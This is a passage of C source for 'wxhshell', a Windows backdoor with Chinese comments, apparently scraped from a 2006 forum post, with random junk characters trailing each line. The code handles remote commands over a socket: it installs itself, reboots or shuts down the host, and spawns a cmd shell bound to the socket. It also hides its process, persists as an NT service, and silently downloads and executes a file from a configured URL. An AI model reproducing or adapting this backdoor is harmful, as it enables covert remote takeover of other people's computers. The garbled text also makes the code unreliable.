  else { ^3WIl ]  
%on9C`/  
    switch(cmd[0]) { 9xK4!~5V  
  qX p,d  
  // 帮助 1akD]Z  
  case '?': { F9k I'<Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q"OV>klk  
    break; kj{rk^x  
  } TOco({/_/  
  // 安装 fXu~69_  
  case 'i': {  Qh|-a@  
    if(Install()) yZ;k@t_WRD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `rz`3:ZH  
    else CRc!|?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6VH90KAT  
    break; f/0v' Jt  
    } Siz!/O!'  
  // 卸载 r*i$+ Z  
  case 'r': { {{.sEi*  
    if(Uninstall()) Y( 1L>4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V#gF*]q  
    else ~'^!udF-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :7$\X[  
    break; ^_*jp[!`b$  
    } SRt$4EL21  
  // 显示 wxhshell 所在路径 ZL-uwI!`D  
  case 'p': { vh|Tb5W<  
    char svExeFile[MAX_PATH]; 5W[3_P+  
    strcpy(svExeFile,"\n\r"); IqhICC1V-  
      strcat(svExeFile,ExeFile); 7 >PF~=  
        send(wsh,svExeFile,strlen(svExeFile),0); CJMaltPp&  
    break; t+=12{9;f  
    } Ad]<e?oN=  
  // 重启 ']d!?>C@o  
  case 'b': { T6h;Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Vu'r?  
    if(Boot(REBOOT)) 3 x"@**(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bK03 S Vx  
    else { kyW6S+#-  
    closesocket(wsh); +A8=R%&b)[  
    ExitThread(0); c&7Do}  
    } %rpR-}j  
    break; ]]p19[4s  
    } 5,HCeN  
  // 关机 gdoJ4b  
  case 'd': { ' "ZRD_"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )l+XDI  
    if(Boot(SHUTDOWN)) #&^ZQs<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H$~M`Y9I~  
    else { |8&-66pX  
    closesocket(wsh); !X5o7b)  
    ExitThread(0); nB cp7e  
    } ";wyNpb(  
    break; .9T.3yQ  
    } Z:# .;wA  
  // 获取shell 6 QN1+MwB  
  case 's': { 8- dRdQu]  
    CmdShell(wsh); YPF&U4CN  
    closesocket(wsh); l `fW{lh  
    ExitThread(0); 8A2if 9E3  
    break; w1wXTt  
  } k~0#'I9  
  // 退出 cT/3yf  
  case 'x': { `fQM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `t{D7I7  
    CloseIt(wsh); {E!$ xY8  
    break; _:wZmZU}  
    } uk`T+@K  
  // 离开 zc6H o  
  case 'q': { !"g=&Uy&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VDB$"T9#  
    closesocket(wsh); i Td-n9  
    WSACleanup(); L7SEswMti  
    exit(1); jg~_'4f#  
    break; {iA^rv|  
        } CnabD{uTf  
  } oJP< 'l1  
  } ?Wwh _TO  
$z= 0[%L  
  // 提示信息 _ymJ~MK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h6g=$8E  
} |n+ #1_t%  
  } |.1qy,|!X  
98BYtxa  
  return; $GQphXb$  
} .W!tveX8-  
E;9Z\?P  
// shell模块句柄 >HE,'  
int CmdShell(SOCKET sock) 4Z*|Dsw  
{ riID,aut  
STARTUPINFO si; @Ppo &>  
ZeroMemory(&si,sizeof(si)); N g58/}zO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y&7YJx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .j:i&j(  
PROCESS_INFORMATION ProcessInfo; q#;BhPc  
char cmdline[]="cmd"; :FnOS<_B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LFCTr/,  
  return 0; 2bWUa~%B  
} -r!42`S  
+ Qt[1Xq  
// 自身启动模式 ]x1p!TSU  
int StartFromService(void) ^rL ,&rk  
{ v#zPH5xo  
typedef struct !]yQ1@)*'  
{ rqF"QU=l  
  DWORD ExitStatus;  G]b8]3^  
  DWORD PebBaseAddress; mj)PLZ]  
  DWORD AffinityMask; i#k-)N _$  
  DWORD BasePriority; H\ 3M  
  ULONG UniqueProcessId; _HwpPRVP/  
  ULONG InheritedFromUniqueProcessId; ]22C )<  
}   PROCESS_BASIC_INFORMATION; ,NDh@VYe  
:#WEx_]  
PROCNTQSIP NtQueryInformationProcess; >b'w'"  
qB+n6y%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fVYiwE=F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LaDY`u0G%  
9J?W '8s5  
  HANDLE             hProcess; PCtkjd  
  PROCESS_BASIC_INFORMATION pbi; kg:l:C)Tq  
Te+^J8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H- 185]7  
  if(NULL == hInst ) return 0; Yr+d1(  
N3Z iGD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [6_"^jgH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N?$7 Z v[G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Q'U@{s  
Ee8--  
  if (!NtQueryInformationProcess) return 0; }S,-uggz  
#'C/Gya  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~^x-ym5  
  if(!hProcess) return 0; 9<v}LeX  
sW?B7o?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bjlkX[{}I  
or7pJy%4"  
  CloseHandle(hProcess); 7gm:ZS   
z`OkHX*+2|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZY)%U*jWU  
if(hProcess==NULL) return 0; mY`@'  
3q"7K  
HMODULE hMod; SBX|Bcyk*  
char procName[255]; Yc d3QRB  
unsigned long cbNeeded; vb %T7  
;,dkJ7M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [.a;L">  
Mm.Ql  
  CloseHandle(hProcess); & N;pH  
V/+Jc( N  
if(strstr(procName,"services")) return 1; // 以服务启动 l&3ki!  
PRwu  
  return 0; // 注册表启动 { UOhVJy  
} =5Wp&SM6  
:c=v}  
// 主模块 9Eg&CZ,9$D  
int StartWxhshell(LPSTR lpCmdLine) 9^!wUwB  
{ UQ~4c,  
  SOCKET wsl; n$YE !D'  
BOOL val=TRUE; k}zd' /b  
  int port=0; tOM(U-7Z&  
  struct sockaddr_in door; "5}%"-#  
69/?7r  
  if(wscfg.ws_autoins) Install(); -w~(3(  
\TUE<<?1s  
port=atoi(lpCmdLine); sPy2/7Wqd  
# k9 <  
if(port<=0) port=wscfg.ws_port; 8R}K?+]  
qg4fR' i  
  WSADATA data; 72,"Cj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +T2HE\  
4V$fGjJ3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sAYV)w3u"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g4wZvra6%)  
  door.sin_family = AF_INET; VgMP^&/gZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m?;$;x~Dj  
  door.sin_port = htons(port); %2D17*eK  
Mlj#b8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?/'}JS(Sm  
closesocket(wsl); <0 uOq  
return 1; Qn.[{rw  
} Me/\z^pF  
Us-A+)r*!  
  if(listen(wsl,2) == INVALID_SOCKET) { Q]rqD83((  
closesocket(wsl); ,H39V+Y*  
return 1; [(|v`qMv/g  
} !5UfWk\G  
  Wxhshell(wsl); }lP5 GT2  
  WSACleanup(); /C$ xH@bb  
RqLNp?V%  
return 0; 8QF2^*RZ7z  
*QH[,F`I  
} 8bOT*^b$H  
T4r5s  
// 以NT服务方式启动 NR4Jn?l{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~+HoSXu@E  
{ o@/xPo|  
DWORD   status = 0; w<t,j~ Pr#  
  DWORD   specificError = 0xfffffff; qVBL>9O*.  
*Hs*,}MS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %8w9E=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3wC R|ab}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M&y5AB0  
  serviceStatus.dwWin32ExitCode     = 0; 2*u.3,aW  
  serviceStatus.dwServiceSpecificExitCode = 0; hD q2-X}  
  serviceStatus.dwCheckPoint       = 0; -e ml  
  serviceStatus.dwWaitHint       = 0; .X'< D*  
}fA;7GW+9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?z=\Ye5x  
  if (hServiceStatusHandle==0) return; U =cWmH  
QU/3X 1W  
status = GetLastError(); a2yE:16o6  
  if (status!=NO_ERROR) eN/G i<  
{ OVR?*"N_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mW4%2fD[  
    serviceStatus.dwCheckPoint       = 0; z(H?VfJo  
    serviceStatus.dwWaitHint       = 0; q4ipumy*  
    serviceStatus.dwWin32ExitCode     = status; l}}UFEA^  
    serviceStatus.dwServiceSpecificExitCode = specificError; *eUc.MX6x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Ltr.ci  
    return; _]|Qec)  
  } <9ifPSvJ  
B4yh3cf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N:x0w+Ca  
  serviceStatus.dwCheckPoint       = 0; EGS%C%>l/o  
  serviceStatus.dwWaitHint       = 0; = .`jjDJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J`oTes,  
} }U[-44r:  
z[9UQU~x?  
// 处理NT服务事件,比如:启动、停止 ?`AGF%zp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ."mlSW"Wm  
{ ai;\@$ cq  
switch(fdwControl) 6>DLp}d  
{ Mo^`\ /x!  
case SERVICE_CONTROL_STOP: jN/ j\x'  
  serviceStatus.dwWin32ExitCode = 0; =;{^" #r\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z]vL%Gg*!  
  serviceStatus.dwCheckPoint   = 0; /P+q}L %  
  serviceStatus.dwWaitHint     = 0; qn"K9k  
  { M{G xjmdx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (C S8(C4[  
  } OM:v`<T!z  
  return; 3nFt1E   
case SERVICE_CONTROL_PAUSE: EJm4xkYLj1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E4HU 'y~  
  break; v01#>,R  
case SERVICE_CONTROL_CONTINUE: Q$a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^8K/xo-  
  break; H+l,)Se  
case SERVICE_CONTROL_INTERROGATE:  t;47(U  
  break; #C*&R>IvY  
}; ]ii+S"U3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u) *Kws  
} R1%y]]*-P  
.y):Rh^  
// 标准应用程序主函数 AK2WN#u@Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n29(!10Px  
{ j*zD0I]  
q;A;H)?g  
// 获取操作系统版本 CMl~=[foW  
OsIsNt=GetOsVer(); 'M/ ([|@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K+),?Q ?.p  
{gU&%j  
  // 从命令行安装 ;dQAV\  
  if(strpbrk(lpCmdLine,"iI")) Install(); #H5=a6E+q  
-]XP2}#d  
  // 下载执行文件 pbn\9C/  
if(wscfg.ws_downexe) { y=H@6$2EQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >n$ !<  
  WinExec(wscfg.ws_filenam,SW_HIDE); &mkpJF/  
} N.hzKq][  
W3JF5*  
if(!OsIsNt) { .zC*Z&e,.[  
// 如果时win9x,隐藏进程并且设置为注册表启动 A';QuWdT  
HideProc(); {p/YCch,  
StartWxhshell(lpCmdLine); \:&@;!a  
} A3+6 #?:;  
else $sgH'/>  
  if(StartFromService()) T+CajSV  
  // 以服务方式启动 Z[ZDQ o1  
  StartServiceCtrlDispatcher(DispatchTable); g7V_ [R(6  
else <B[G |FY,  
  // 普通方式启动 m ,tXE%l  
  StartWxhshell(lpCmdLine); 'HaD~pa  
4JO@BV>t  
return 0; +jV_Wz  
}
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只看该作者 1 发表于: 2006-10-10
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